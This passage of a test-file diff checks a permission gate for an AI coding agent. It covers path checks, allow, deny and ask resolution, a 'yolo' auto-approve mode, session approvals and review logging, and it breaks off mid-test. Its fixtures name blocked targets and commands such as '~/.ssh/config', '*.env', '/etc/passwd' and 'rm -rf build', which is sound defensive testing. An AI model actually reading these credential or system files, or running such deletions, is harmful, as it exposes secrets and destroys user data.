realpathSync.mockImplementation((p: string) =>
p === "/test/project/.env" ? "/vault/secret.env" : p,
);
const resolver = makeResolver(makeCheckResult({ state: "allow" }));
describePathGate(makeTcc(), resolver, normalizer);
const intent = resolver.resolve.mock.lastCall?.[0];
expect(intent?.kind).toBe("access-path");
expect(intent?.kind === "access-path" && intent.path.matchValues()).toEqual(
["/test/project/.env", ".env", "/vault/secret.env"],
);
});
});
// Home-relative path characterization (#350) ──────────────────────────────
//
// The gate passes the raw path to the resolver; home expansion is handled
// downstream by normalizeInput. These tests lock in that the gate works
// correctly when the tool input contains a ~/... or $HOME/... path.
describe("describePathGate — home-relative paths", () => {
it("passes raw ~/... path to resolver and builds descriptor on deny", () => {
const resolver = makeResolver(
makeCheckResult({ state: "deny", matchedPattern: "~/.ssh/*" }),
);
const result = describePathGate(
makeTcc({ input: { path: "~/.ssh/config" } }),
resolver,
normalizer,
) as GateDescriptor;
expect(isGateDescriptor(result)).toBe(true);
expect(result.preCheck?.state).toBe("deny");
// Raw path preserved on the payload for display.
expect(result.payload.kind).toBe("path");
expect(result.payload.request.toolName).toBe("read");
expect(result.payload.request.value).toBe("~/.ssh/config");
expect(resolver.resolve).toHaveBeenCalledWith({
kind: "access-path",
surface: "path",
path: AccessPath.forPath("~/.ssh/config", {
cwd: "/test/project",
flavor: posixPathFlavor,
}),
agentName: undefined,
});
});
it("passes raw $HOME/... path to resolver and builds descriptor on deny", () => {
const resolver = makeResolver(
makeCheckResult({ state: "deny", matchedPattern: "$HOME/.ssh/*" }),
);
const result = describePathGate(
makeTcc({ input: { path: "$HOME/.ssh/config" } }),
resolver,
normalizer,
) as GateDescriptor;
expect(isGateDescriptor(result)).toBe(true);
expect(result.preCheck?.state).toBe("deny");
expect(result.payload.kind).toBe("path");
expect(result.payload.request.value).toBe("$HOME/.ssh/config");
});
it("returns null when home-relative path resolves to allow", () => {
const resolver = makeResolver(makeCheckResult({ state: "allow" }));
const result = describePathGate(
makeTcc({ input: { path: "~/.ssh/config" } }),
resolver,
normalizer,
);
expect(result).toBeNull();
});
});
// Extension and MCP tools are now path-gated (#352) ──────────────────────────
describe("describePathGate — extension and MCP tools (#352)", () => {
function extractorLookup(toolName: string, key: string) {
return {
get: (name: string) =>
name === toolName
? (input: Record<string, unknown>) =>
typeof input[key] === "string" ? input[key] : undefined
: undefined,
};
}
it("gates an extension tool that exposes input.path", () => {
const resolver = makeResolver(
makeCheckResult({ state: "deny", matchedPattern: "*.env" }),
);
const result = describePathGate(
makeTcc({ toolName: "my-ext", input: { path: ".env" } }),
resolver,
normalizer,
);
expect(isGateDescriptor(result)).toBe(true);
expect(resolver.resolve).toHaveBeenCalledWith({
kind: "access-path",
surface: "path",
path: AccessPath.forPath(".env", {
cwd: "/test/project",
flavor: posixPathFlavor,
}),
agentName: undefined,
});
});
it("gates an MCP tool via arguments.path", () => {
const resolver = makeResolver(
makeCheckResult({ state: "deny", matchedPattern: "*.env" }),
);
const result = describePathGate(
makeTcc({ toolName: "mcp", input: { arguments: { path: ".env" } } }),
resolver,
normalizer,
);
expect(isGateDescriptor(result)).toBe(true);
expect(resolver.resolve).toHaveBeenCalledWith({
kind: "access-path",
surface: "path",
path: AccessPath.forPath(".env", {
cwd: "/test/project",
flavor: posixPathFlavor,
}),
agentName: undefined,
});
});
it("uses a registered extractor's path for a custom-shaped tool", () => {
const resolver = makeResolver(
makeCheckResult({ state: "deny", matchedPattern: "*" }),
);
describePathGate(
makeTcc({ toolName: "ffgrep", input: { target: "/etc/passwd" } }),
resolver,
normalizer,
extractorLookup("ffgrep", "target"),
);
expect(resolver.resolve).toHaveBeenCalledWith({
kind: "access-path",
surface: "path",
path: AccessPath.forPath("/etc/passwd", {
cwd: "/test/project",
flavor: posixPathFlavor,
}),
agentName: undefined,
});
});
it("returns null for an extension tool without a path", () => {
const resolver = makeResolver();
const result = describePathGate(
makeTcc({ toolName: "my-ext", input: { other: true } }),
resolver,
normalizer,
);
expect(result).toBeNull();
expect(resolver.resolve).not.toHaveBeenCalled();
});
});
@@ -0,0 +1,879 @@
import { describe, expect, it, vi } from "vitest";
import type { GateBypass } from "#src/handlers/gates/descriptor";
import type { PermissionDecisionEvent } from "#src/permission-events";
import { EXTENSION_TAG } from "#src/presentation/agent-renderer";
import { SessionApproval } from "#src/session-approval";
import { DECIDED_BY_HUMAN } from "#test/helpers/decision-fixtures";
import { makeDescriptor, makeGateRunner } from "#test/helpers/gate-fixtures";
import { makeCheckResult } from "#test/helpers/handler-fixtures";
import { makePromptPayload } from "#test/helpers/prompt-details-fixtures";
// ── GateRunner — descriptor path ───────────────────────────────────────────
describe("GateRunner — descriptor path", () => {
it("returns allow and emits policy_allow when policy is allow", async () => {
const { runner, deps } = makeGateRunner();
const result = await runner.run(makeDescriptor(), null);
expect(result).toEqual({ action: "allow" });
expect(deps.reporter.emitDecision).toHaveBeenCalledWith(
expect.objectContaining({
surface: "read",
value: "read",
result: "allow",
resolution: "policy_allow",
}),
);
});
it("returns block and emits policy_deny when policy is deny", async () => {
const { runner, deps } = makeGateRunner({
resolveResult: makeCheckResult({ state: "deny", matchedPattern: "*" }),
});
const result = await runner.run(makeDescriptor(), null);
expect(result).toMatchObject({ action: "block" });
expect(deps.reporter.emitDecision).toHaveBeenCalledWith(
expect.objectContaining({
result: "deny",
resolution: "policy_deny",
}),
);
expect(deps.reporter.writeReviewLog).toHaveBeenCalledWith(
"permission_request.blocked",
expect.objectContaining({
resolution: "policy_denied",
decidedBy: {
kind: "rule",
surface: "read",
pattern: "*",
origin: "builtin",
},
}),
);
});
it("records which rule denied a blocked request", async () => {
const { runner, deps } = makeGateRunner({
resolveResult: makeCheckResult({ state: "deny", matchedPattern: "rm *" }),
});
await runner.run(
makeDescriptor({
surface: "bash",
payload: makePromptPayload({
kind: "bash",
request: {
...makePromptPayload().request,
surface: "bash",
toolName: "bash",
value: "rm -rf build",
matchedPattern: "rm *",
},
}),
}),
null,
);
expect(deps.reporter.writeReviewLog).toHaveBeenCalledWith(
"permission_request.blocked",
expect.objectContaining({ surface: "bash", matchedPattern: "rm *" }),
);
});
it("returns allow and emits session_approved on session hit", async () => {
const { runner, deps } = makeGateRunner({
resolveResult: makeCheckResult({
source: "session",
matchedPattern: "git *",
}),
});
const result = await runner.run(
makeDescriptor({
surface: "bash",
input: { command: "git status" },
decision: { surface: "bash", value: "git status" },
}),
null,
);
expect(result).toEqual({ action: "allow" });
expect(deps.reporter.writeReviewLog).toHaveBeenCalledWith(
"permission_request.session_approved",
expect.objectContaining({
resolution: "session_approved",
sessionApprovalPattern: "git *",
decidedBy: {
kind: "session_approval",
surface: "bash",
pattern: "git *",
},
}),
);
expect(deps.reporter.emitDecision).toHaveBeenCalledWith(
expect.objectContaining({
resolution: "session_approved",
matchedPattern: "git *",
}),
);
});
it("returns allow and emits auto_approved on a yolo-origin allow without prompting", async () => {
const { runner, deps } = makeGateRunner({
resolveResult: makeCheckResult({
state: "allow",
origin: "yolo",
matchedPattern: "*",
}),
});
const result = await runner.run(makeDescriptor(), null);
expect(result).toEqual({ action: "allow" });
expect(deps.escalate).not.toHaveBeenCalled();
expect(deps.reporter.writeReviewLog).toHaveBeenCalledWith(
"permission_request.auto_approved",
expect.objectContaining({
resolution: "auto_approved",
decidedBy: { kind: "yolo", pattern: "*" },
}),
);
expect(deps.reporter.emitDecision).toHaveBeenCalledWith(
expect.objectContaining({
result: "allow",
resolution: "auto_approved",
origin: "yolo",
}),
);
});
it("preserves the synthetic sentinel that raised a yolo-granted ask", async () => {
const { runner, deps } = makeGateRunner({
resolveResult: makeCheckResult({
state: "ask",
matchedPattern: "<opaque-bash-wrapper>",
}),
isYoloEnabled: () => true,
});
await runner.run(makeDescriptor(), null);
// Which sentinel raised the ask is what makes a yolo grant over a
// synthesized ask legible; "yolo allowed it" alone does not say why it
// was asked.
expect(deps.reporter.writeReviewLog).toHaveBeenCalledWith(
"permission_request.auto_approved",
expect.objectContaining({
decidedBy: { kind: "yolo", pattern: "<opaque-bash-wrapper>" },
}),
);
});
it("auto-approves a residual synthetic ask under yolo without prompting", async () => {
const { runner, deps } = makeGateRunner({
yolo: true,
resolveResult: makeCheckResult({
state: "ask",
source: "bash",
toolName: "bash",
matchedPattern: "<indirection-bash-wrapper>",
}),
});
const result = await runner.run(makeDescriptor(), null);
expect(result).toEqual({ action: "allow" });
expect(deps.escalate).not.toHaveBeenCalled();
expect(deps.reporter.writeReviewLog).toHaveBeenCalledWith(
"permission_request.auto_approved",
expect.objectContaining({ resolution: "auto_approved" }),
);
expect(deps.reporter.emitDecision).toHaveBeenCalledWith(
expect.objectContaining({
result: "allow",
resolution: "auto_approved",
origin: "yolo",
matchedPattern: "<indirection-bash-wrapper>",
}),
);
});
it("blocks an explicit deny under yolo without prompting", async () => {
const { runner, deps } = makeGateRunner({
yolo: true,
resolveResult: makeCheckResult({ state: "deny", matchedPattern: "rm *" }),
});
const result = await runner.run(makeDescriptor(), null);
expect(result).toMatchObject({ action: "block" });
expect(deps.escalate).not.toHaveBeenCalled();
});
it("reads the yolo setting per run, so a mid-session toggle takes effect", async () => {
let yolo = false;
const { runner, deps } = makeGateRunner({
isYoloEnabled: () => yolo,
resolveResult: makeCheckResult({
state: "ask",
matchedPattern: "<unparseable-bash-command>",
}),
});
await runner.run(makeDescriptor(), null);
expect(deps.escalate).toHaveBeenCalledTimes(1);
yolo = true;
await runner.run(makeDescriptor(), null);
expect(deps.escalate).toHaveBeenCalledTimes(1);
});
it("returns allow and emits user_approved when ask + user approves", async () => {
const { runner, deps } = makeGateRunner({
resolveResult: makeCheckResult({ state: "ask", matchedPattern: "*" }),
escalate: vi.fn().mockResolvedValue({
approved: true,
state: "approved",
decidedBy: DECIDED_BY_HUMAN,
}),
});
const result = await runner.run(makeDescriptor(), null);
expect(result).toEqual({ action: "allow" });
expect(deps.reporter.emitDecision).toHaveBeenCalledWith(
expect.objectContaining({
result: "allow",
resolution: "user_approved",
}),
);
});
it("returns allow, emits user_approved_for_session, and records session rule on approved_for_session", async () => {
const { runner, deps } = makeGateRunner({
resolveResult: makeCheckResult({ state: "ask", matchedPattern: "*" }),
escalate: vi.fn().mockResolvedValue({
approved: true,
state: "approved_for_session",
decidedBy: DECIDED_BY_HUMAN,
}),
});
const descriptor = makeDescriptor({
sessionApproval: SessionApproval.single("read", "*"),
});
const result = await runner.run(descriptor, null);
expect(result).toEqual({ action: "allow" });
expect(deps.reporter.emitDecision).toHaveBeenCalledWith(
expect.objectContaining({
resolution: "user_approved_for_session",
}),
);
expect(deps.recordSessionApproval).toHaveBeenCalledWith(
SessionApproval.single("read", "*"),
);
});
it("calls recordSessionApproval once with the full SessionApproval when sessionApproval has multiple patterns", async () => {
const { runner, deps } = makeGateRunner({
resolveResult: makeCheckResult({ state: "ask", matchedPattern: "*" }),
escalate: vi.fn().mockResolvedValue({
approved: true,
state: "approved_for_session",
decidedBy: DECIDED_BY_HUMAN,
}),
});
const approval = SessionApproval.multiple("external_directory", [
"/outside/a/*",
"/outside/b/*",
]);
const descriptor = makeDescriptor({ sessionApproval: approval });
const result = await runner.run(descriptor, null);
expect(result).toEqual({ action: "allow" });
expect(deps.recordSessionApproval).toHaveBeenCalledTimes(1);
expect(deps.recordSessionApproval).toHaveBeenCalledWith(approval);
});
it("returns block and emits user_denied when ask + user denies", async () => {
const { runner, deps } = makeGateRunner({
resolveResult: makeCheckResult({ state: "ask", matchedPattern: "*" }),
escalate: vi.fn().mockResolvedValue({
approved: false,
state: "denied",
decidedBy: DECIDED_BY_HUMAN,
}),
});
const result = await runner.run(makeDescriptor(), null);
expect(result).toMatchObject({ action: "block" });
expect(deps.reporter.emitDecision).toHaveBeenCalledWith(
expect.objectContaining({
result: "deny",
resolution: "user_denied",
}),
);
});
it("returns block and emits confirmation_unavailable when ask + no UI", async () => {
const { runner, deps } = makeGateRunner({
resolveResult: makeCheckResult({ state: "ask", matchedPattern: "*" }),
escalate: vi.fn().mockResolvedValue({
approved: false,
state: "denied",
confirmationUnavailable: true,
}),
});
const result = await runner.run(makeDescriptor(), null);
expect(result).toMatchObject({ action: "block" });
expect(deps.reporter.emitDecision).toHaveBeenCalledWith(
expect.objectContaining({
result: "deny",
resolution: "confirmation_unavailable",
}),
);
});
it("emits auto_approved resolution when decision has autoApproved flag", async () => {
const { runner, deps } = makeGateRunner({
resolveResult: makeCheckResult({ state: "ask", matchedPattern: "*" }),
escalate: vi.fn().mockResolvedValue({
approved: true,
state: "approved",
autoApproved: true,
}),
});
const result = await runner.run(makeDescriptor(), null);
expect(result).toEqual({ action: "allow" });
expect(deps.reporter.emitDecision).toHaveBeenCalledWith(
expect.objectContaining({
resolution: "auto_approved",
}),
);
});
it("uses preResolved.state instead of calling resolve", async () => {
const { runner, deps } = makeGateRunner();
const descriptor = makeDescriptor({
preResolved: { state: "deny" },
});
const result = await runner.run(descriptor, null);
expect(result).toMatchObject({ action: "block" });
expect(deps.resolve).not.toHaveBeenCalled();
expect(deps.reporter.emitDecision).toHaveBeenCalledWith(
expect.objectContaining({
resolution: "policy_deny",
}),
);
});
it("uses preResolved.state allow without calling resolve", async () => {
const { runner, deps } = makeGateRunner();
const descriptor = makeDescriptor({
preResolved: { state: "allow" },
});
const result = await runner.run(descriptor, null);
expect(result).toEqual({ action: "allow" });
expect(deps.resolve).not.toHaveBeenCalled();
expect(deps.reporter.emitDecision).toHaveBeenCalledWith(
expect.objectContaining({
resolution: "policy_allow",
}),
);
});
it("passes agentName to resolve and decision event", async () => {
const { runner, deps } = makeGateRunner();
const result = await runner.run(makeDescriptor(), "test-agent");
expect(result).toEqual({ action: "allow" });
expect(deps.resolve).toHaveBeenCalledWith({
kind: "tool",
surface: "read",
input: {},
agentName: "test-agent",
});
expect(deps.reporter.emitDecision).toHaveBeenCalledWith(
expect.objectContaining({
agentName: "test-agent",
}),
);
});
it("escalates a minted request id, not the tool call id", async () => {
const { runner, deps } = makeGateRunner({
resolveResult: makeCheckResult({ state: "ask", matchedPattern: "*" }),
});
await runner.run(makeDescriptor(), null);
expect(deps.escalate).toHaveBeenCalledWith(
expect.objectContaining({
requestId: expect.stringMatching(/^perm-/),
// The host's id keeps flowing as the join back to the Pi transcript.
toolCallId: "tc-1",
}),
);
});
it("forwards the descriptor's sessionApproval suggestion on escalate", async () => {
const { runner, deps } = makeGateRunner({
resolveResult: makeCheckResult({ state: "ask", matchedPattern: "*" }),
});
const approval = SessionApproval.single("bash", "git *");
await runner.run(makeDescriptor({ sessionApproval: approval }), null);
expect(deps.escalate).toHaveBeenCalledWith(
expect.objectContaining({
sessionApproval: { surface: "bash", patterns: ["git *"] },
}),
);
});
it("omits sessionApproval from escalate details when the descriptor has none", async () => {
const { runner, deps } = makeGateRunner({
resolveResult: makeCheckResult({ state: "ask", matchedPattern: "*" }),
});
await runner.run(makeDescriptor(), null);
expect(deps.escalate).toHaveBeenCalledWith(
expect.not.objectContaining({ sessionApproval: expect.anything() }),
);
});
it("does not call recordSessionApproval when user approves once (no sessionApproval)", async () => {
const { runner, deps } = makeGateRunner({
resolveResult: makeCheckResult({ state: "ask", matchedPattern: "*" }),
escalate: vi.fn().mockResolvedValue({
approved: true,
state: "approved",
decidedBy: DECIDED_BY_HUMAN,
}),
});
await runner.run(makeDescriptor(), null);
expect(deps.recordSessionApproval).not.toHaveBeenCalled();
});
it("uses preCheck result directly instead of calling resolve", async () => {
const { runner, deps } = makeGateRunner();
const descriptor = makeDescriptor({
preCheck: makeCheckResult({
state: "deny",
origin: "global",
matchedPattern: "rm *",
}),
});
const result = await runner.run(descriptor, null);
expect(result).toMatchObject({ action: "block" });
expect(deps.resolve).not.toHaveBeenCalled();
expect(deps.reporter.emitDecision).toHaveBeenCalledWith(
expect.objectContaining({
resolution: "policy_deny",
origin: "global",
matchedPattern: "rm *",
}),
);
});
it("does not call recordSessionApproval when user approves for session but no sessionApproval on descriptor", async () => {
const { runner, deps } = makeGateRunner({
resolveResult: makeCheckResult({ state: "ask", matchedPattern: "*" }),
escalate: vi.fn().mockResolvedValue({
approved: true,
state: "approved_for_session",
decidedBy: DECIDED_BY_HUMAN,
}),
});
// No sessionApproval on descriptor
await runner.run(makeDescriptor(), null);
expect(deps.recordSessionApproval).not.toHaveBeenCalled();
});
describe("agent-facing denial rendering", () => {
it("renders the deny reason from the descriptor's payload", async () => {
const { runner } = makeGateRunner({
resolveResult: makeCheckResult({ state: "deny", matchedPattern: "*" }),
});
const result = await runner.run(
makeDescriptor({
payload: makePromptPayload({
request: {
...makePromptPayload().request,
surface: "read",
toolName: "read",
value: "read",
matchedPattern: "*",
},
}),
}),
"test-agent",
);
expect(result.action).toBe("block");
if (result.action === "block") {
expect(result.reason).toBe(
`${EXTENSION_TAG} Denied by policy: 'read' (rule '*').`,
);
}
});
it("carries an operator's deny-with-reason text on a non-tool surface", async () => {
const { runner } = makeGateRunner({
resolveResult: makeCheckResult({
state: "deny",
toolName: "path",
matchedPattern: "/etc/*",
reason: "system files are off limits",
}),
});
const result = await runner.run(
makeDescriptor({
surface: "path",
payload: makePromptPayload({
kind: "path",
request: {
...makePromptPayload().request,
surface: "path",
toolName: "read",
value: "/etc/passwd",
matchedPattern: "/etc/*",
},
}),
}),
null,
);
expect(result.action).toBe("block");
if (result.action === "block") {
expect(result.reason).toBe(
`${EXTENSION_TAG} Denied by policy: 'path' for tool 'read' for path '/etc/passwd' (rule '/etc/*'). Reason: system files are off limits.`,
);
}
});
it("renders the unavailable reason with the extension tag", async () => {
const { runner } = makeGateRunner({
resolveResult: makeCheckResult({ state: "ask", matchedPattern: "*" }),
escalate: vi.fn().mockResolvedValue({
approved: false,
state: "denied",
confirmationUnavailable: true,
}),
});
const result = await runner.run(makeDescriptor(), null);
expect(result.action).toBe("block");
if (result.action === "block") {
expect(result.reason).toContain(EXTENSION_TAG);
expect(result.reason).toContain("no interactive UI");
}
});
it("carries an unavailable decision's denial reason into the block message", async () => {
const { runner } = makeGateRunner({
resolveResult: makeCheckResult({ state: "ask", matchedPattern: "*" }),
escalate: vi.fn().mockResolvedValue({
approved: false,
state: "denied",
confirmationUnavailable: true,
denialReason: "Session 'parent-1' is not serving forwarded requests",
}),
});
const result = await runner.run(makeDescriptor(), null);
expect(result.action).toBe("block");
if (result.action === "block") {
expect(result.reason).toContain(
"Reason: Session 'parent-1' is not serving forwarded requests.",
);
}
});
it("renders the user's denial reason with the extension tag", async () => {
const { runner } = makeGateRunner({
resolveResult: makeCheckResult({ state: "ask", matchedPattern: "*" }),
escalate: vi.fn().mockResolvedValue({
approved: false,
state: "denied",
denialReason: "too risky",
}),
});
const result = await runner.run(makeDescriptor(), null);
expect(result.action).toBe("block");
if (result.action === "block") {
expect(result.reason).toContain(EXTENSION_TAG);
expect(result.reason).toContain("too risky");
}
});
it("never echoes the command into a bash denial", async () => {
const { runner } = makeGateRunner({
resolveResult: makeCheckResult({
state: "deny",
toolName: "bash",
matchedPattern: "rm *",
}),
});
const command = `cat <<'EOF'\n${"x".repeat(5000)}\nEOF`;
const result = await runner.run(
makeDescriptor({
surface: "bash",
payload: makePromptPayload({
kind: "bash",
request: {
...makePromptPayload().request,
surface: "bash",
toolName: "bash",
value: command,
matchedPattern: "rm *",
},
}),
}),
null,
);
expect(result.action).toBe("block");
if (result.action === "block") {
expect(result.reason).toBe(
`${EXTENSION_TAG} Denied by policy: 'bash' (rule 'rm *').`,
);
}
});
});
});
// ── GateRunner.run — null and bypass dispatch ──────────────────────────────
describe("GateRunner.run — null and bypass dispatch", () => {
it("returns allow for a null gate", async () => {
const { runner, deps } = makeGateRunner();
const result = await runner.run(null, null);
expect(result).toEqual({ action: "allow" });
expect(deps.reporter.writeReviewLog).not.toHaveBeenCalled();
expect(deps.reporter.emitDecision).not.toHaveBeenCalled();
});
it("returns allow for a bypass with no log or decision", async () => {
const { runner, deps } = makeGateRunner();
const bypass: GateBypass = {
action: "allow",
decidedBy: { kind: "infrastructure_read" },
};
const result = await runner.run(bypass, null);
expect(result).toEqual({ action: "allow" });
expect(deps.reporter.writeReviewLog).not.toHaveBeenCalled();
expect(deps.reporter.emitDecision).not.toHaveBeenCalled();
});
it("fires writeReviewLog for a bypass with a log entry", async () => {
const { runner, deps } = makeGateRunner();
const bypass: GateBypass = {
action: "allow",
decidedBy: { kind: "infrastructure_read" },
log: { event: "infra.bypass", details: { path: "/x" } },
};
await runner.run(bypass, null);
expect(deps.reporter.writeReviewLog).toHaveBeenCalledWith("infra.bypass", {
path: "/x",
requestId: expect.stringMatching(/^perm-/),
decidedBy: { kind: "infrastructure_read" },
});
expect(deps.reporter.emitDecision).not.toHaveBeenCalled();
});
it("fires emitDecision for a bypass with a decision", async () => {
const { runner, deps } = makeGateRunner();
const decision = {
surface: "path",
value: "/x",
result: "allow" as const,
resolution: "policy_allow" as const,
origin: null,
agentName: null,
matchedPattern: null,
};
const bypass: GateBypass = {
action: "allow",
decidedBy: { kind: "infrastructure_read" },
decision,
};
await runner.run(bypass, null);
expect(deps.reporter.emitDecision).toHaveBeenCalledWith({
...decision,
requestId: expect.stringMatching(/^perm-/),
});
expect(deps.reporter.writeReviewLog).not.toHaveBeenCalled();
});
it("routes a descriptor to the gate check logic and returns allow", async () => {
const { runner } = makeGateRunner();
const result = await runner.run(makeDescriptor(), null);
expect(result).toEqual({ action: "allow" });
});
it("routes a descriptor to the gate check logic and returns block", async () => {
const { runner } = makeGateRunner({
resolveResult: makeCheckResult({ state: "deny", matchedPattern: "*" }),
});
const result = await runner.run(makeDescriptor(), null);
expect(result).toMatchObject({ action: "block" });
});
});
// ── GateRunner — request identity ────────────────────────────────────
/**
* Runner over a reporter that records its review-log writes, so a test can
* read back the id the runner minted rather than only matching a shape.
*/
function makeRecordingRunner(
overrides: Parameters<typeof makeGateRunner>[0] = {},
) {
const reviewWrites: Array<{
event: string;
details: Record<string, unknown>;
}> = [];
const decisions: PermissionDecisionEvent[] = [];
const { runner, deps } = makeGateRunner({
...overrides,
reporter: {
writeReviewLog: (event, details) => {
reviewWrites.push({ event, details });
},
emitDecision: (event) => {
decisions.push(event);
},
},
});
return { runner, deps, reviewWrites, decisions };
}
describe("GateRunner — request identity", () => {
it("carries the minted id on the session-approved review entry", async () => {
const { runner, reviewWrites } = makeRecordingRunner({
resolveResult: makeCheckResult({
source: "session",
matchedPattern: "git *",
}),
});
await runner.run(makeDescriptor(), null);
expect(reviewWrites).toHaveLength(1);
expect(reviewWrites[0].event).toBe("permission_request.session_approved");
expect(reviewWrites[0].details.requestId).toMatch(/^perm-/);
});
it("carries the minted id on the auto-approved review entry", async () => {
const { runner, reviewWrites } = makeRecordingRunner({
resolveResult: makeCheckResult({ state: "ask", matchedPattern: "*" }),
yolo: true,
});
await runner.run(makeDescriptor(), null);
expect(reviewWrites).toHaveLength(1);
expect(reviewWrites[0].event).toBe("permission_request.auto_approved");
expect(reviewWrites[0].details.requestId).toMatch(/^perm-/);
});
it("carries the minted id on the policy-denied review entry", async () => {
const { runner, reviewWrites } = makeRecordingRunner({
resolveResult: makeCheckResult({ state: "deny", matchedPattern: "*" }),
});
await runner.run(makeDescriptor(), null);
expect(reviewWrites).toHaveLength(1);
expect(reviewWrites[0].event).toBe("permission_request.blocked");
expect(reviewWrites[0].details.requestId).toMatch(/^perm-/);
});
it("carries the minted id on a bypass review entry", async () => {
const { runner, reviewWrites } = makeRecordingRunner();
const bypass: GateBypass = {
action: "allow",
decidedBy: { kind: "infrastructure_read" },
log: {
event: "permission_request.infrastructure_auto_allowed",
details: { path: "/x" },
},
};
await runner.run(bypass, null);
expect(reviewWrites).toHaveLength(1);
expect(reviewWrites[0].details.requestId).toMatch(/^perm-/);
});
it("stamps the bypass's own decider onto its review entry", async () => {
const { runner, reviewWrites } = makeRecordingRunner();
const bypass: GateBypass = {
action: "allow",
decidedBy: { kind: "infrastructure_read" },
log: {
event: "permission_request.infrastructure_auto_allowed",
details: { path: "/x" },
},
};
await runner.run(bypass, null);
// The gate that short-circuits is the decider; the runner relays what it
// states rather than inferring one from the event name.
expect(reviewWrites[0].details.decidedBy).toEqual({
kind: "infrastructure_read",
});
});
it("keeps the tool call id alongside the minted id on the review entry", async () => {
const { runner, reviewWrites } = makeRecordingRunner({
resolveResult: makeCheckResult({ state: "deny", matchedPattern: "*" }),
});
await runner.run(makeDescriptor(), null);
expect(reviewWrites[0].details.toolCallId).toBe("tc-1");
expect(reviewWrites[0].details.requestId).not.toBe("tc-1");
});
it("mints a distinct id for each run, so one tool call's gates stay separable", async () => {
const { runner, reviewWrites } = makeRecordingRunner({
resolveResult: makeCheckResult({ state: "deny", matchedPattern: "*" }),
});
await runner.run(makeDescriptor(), null);
await runner.run(makeDescriptor(), null);
expect(reviewWrites[0].details.requestId).not.toBe(
reviewWrites[1].details.requestId,
);
});
it("stamps the session-approved entry and its decision event with one id", async () => {
const { runner, reviewWrites, decisions } = makeRecordingRunner({
resolveResult: makeCheckResult({
source: "session",
matchedPattern: "git *",
}),
});
await runner.run(makeDescriptor(), null);
expect(decisions[0].requestId).toBe(reviewWrites[0].details.requestId);
});
it("stamps the auto-approved entry and its decision event with one id", async () => {
const { runner, reviewWrites, decisions } = makeRecordingRunner({
resolveResult: makeCheckResult({ state: "ask", matchedPattern: "*" }),
yolo: true,
});
await runner.run(makeDescriptor(), null);
expect(decisions[0].requestId).toBe(reviewWrites[0].details.requestId);
});
it("stamps the policy-denied entry and its decision event with one id", async () => {
const { runner, reviewWrites, decisions } = makeRecordingRunner({
resolveResult: makeCheckResult({ state: "deny", matchedPattern: "*" }),
});
await runner.run(makeDescriptor(), null);
expect(decisions[0].requestId).toBe(reviewWrites[0].details.requestId);
});
it("stamps a bypass's log entry and decision event with one id", async () => {
const { runner, reviewWrites, decisions } = makeRecordingRunner();
const bypass: GateBypass = {
action: "allow",
decidedBy: { kind: "infrastructure_read" },
log: {
event: "permission_request.infrastructure_auto_allowed",
details: { path: "/x" },
},
decision: {
surface: "read",
value: "/x",
result: "allow",
resolution: "infrastructure_auto_allowed",
origin: null,
agentName: null,
matchedPattern: null,
},
};
await runner.run(bypass, null);
expect(decisions[0].requestId).toMatch(/^perm-/);
expect(decisions[0].requestId).toBe(reviewWrites[0].details.requestId);
});
it("stamps an allow decision event even when nothing is written to the log", async () => {
const { runner, decisions } = makeRecordingRunner();
await runner.run(makeDescriptor(), null);
expect(decisions[0].requestId).toMatch(/^perm-/);
});
});
@@ -0,0 +1,161 @@
import { describe, expect, it } from "vitest";
import {
formatSkillDenyNotice,
SkillInputGatePipeline,
} from "#src/handlers/gates/skill-input-gate-pipeline";
import {
makeGateRunner,
makeNotifier,
makeSkillInputInputs,
} from "#test/helpers/gate-fixtures";
import { makeCheckResult } from "#test/helpers/handler-fixtures";
// ── formatSkillDenyNotice ─────────────────────────────────────────────────
describe("formatSkillDenyNotice", () => {
it("includes the skill name in the message (no agent)", () => {
const msg = formatSkillDenyNotice("librarian", null);
expect(msg).toContain("librarian");
});
it("includes the skill name and agent name when agent is present", () => {
const msg = formatSkillDenyNotice("librarian", "code-agent");
expect(msg).toContain("librarian");
expect(msg).toContain("code-agent");
});
});
// ── SkillInputGatePipeline.evaluate ───────────────────────────────────────
describe("SkillInputGatePipeline.evaluate", () => {
// ── notifier behaviour ──────────────────────────────────────────────────
it("calls notifier.warn when the skill is denied", async () => {
const inputs = makeSkillInputInputs({
checkPermission: () => makeCheckResult({ state: "deny" }),
});
const notifier = makeNotifier();
const { runner } = makeGateRunner();
const pipeline = new SkillInputGatePipeline(inputs);
await pipeline.evaluate("librarian", null, notifier, runner);
expect(notifier.warn).toHaveBeenCalledOnce();
expect(notifier.warn).toHaveBeenCalledWith(
expect.stringContaining("librarian"),
);
});
it("does not call notifier.warn when the skill is allowed", async () => {
const inputs = makeSkillInputInputs({
checkPermission: () => makeCheckResult({ state: "allow" }),
});
const notifier = makeNotifier();
const { runner } = makeGateRunner();
const pipeline = new SkillInputGatePipeline(inputs);
await pipeline.evaluate("librarian", null, notifier, runner);
expect(notifier.warn).not.toHaveBeenCalled();
});
it("does not call notifier.warn when the skill requires approval (ask)", async () => {
const inputs = makeSkillInputInputs({
checkPermission: () => makeCheckResult({ state: "ask" }),
});
const notifier = makeNotifier();
const { runner } = makeGateRunner();
const pipeline = new SkillInputGatePipeline(inputs);
await pipeline.evaluate("librarian", null, notifier, runner);
expect(notifier.warn).not.toHaveBeenCalled();
});
it("includes agent name in the deny notice when agent is present", async () => {
const inputs = makeSkillInputInputs({
checkPermission: () => makeCheckResult({ state: "deny" }),
});
const notifier = makeNotifier();
const { runner } = makeGateRunner();
const pipeline = new SkillInputGatePipeline(inputs);
await pipeline.evaluate("librarian", "code-agent", notifier, runner);
expect(notifier.warn).toHaveBeenCalledWith(
expect.stringContaining("code-agent"),
);
});
// ── outcome mapping ─────────────────────────────────────────────────────
it("returns allow when the gate passes", async () => {
const inputs = makeSkillInputInputs({
checkPermission: () => makeCheckResult({ state: "allow" }),
});
const { runner } = makeGateRunner();
const pipeline = new SkillInputGatePipeline(inputs);
const result = await pipeline.evaluate(
"librarian",
null,
makeNotifier(),
runner,
);
expect(result).toEqual({ action: "allow" });
});
it("returns block when the gate denies", async () => {
const inputs = makeSkillInputInputs({
checkPermission: () =>
makeCheckResult({ state: "deny", matchedPattern: "*" }),
});
const { runner } = makeGateRunner();
const pipeline = new SkillInputGatePipeline(inputs);
const result = await pipeline.evaluate(
"librarian",
null,
makeNotifier(),
runner,
);
expect(result).toEqual({
action: "block",
reason: expect.stringContaining("librarian"),
});
});
// ── checkPermission call ────────────────────────────────────────────────
it("calls checkPermission with the skill surface, skill name, and agent name", async () => {
const inputs = makeSkillInputInputs();
const { runner } = makeGateRunner();
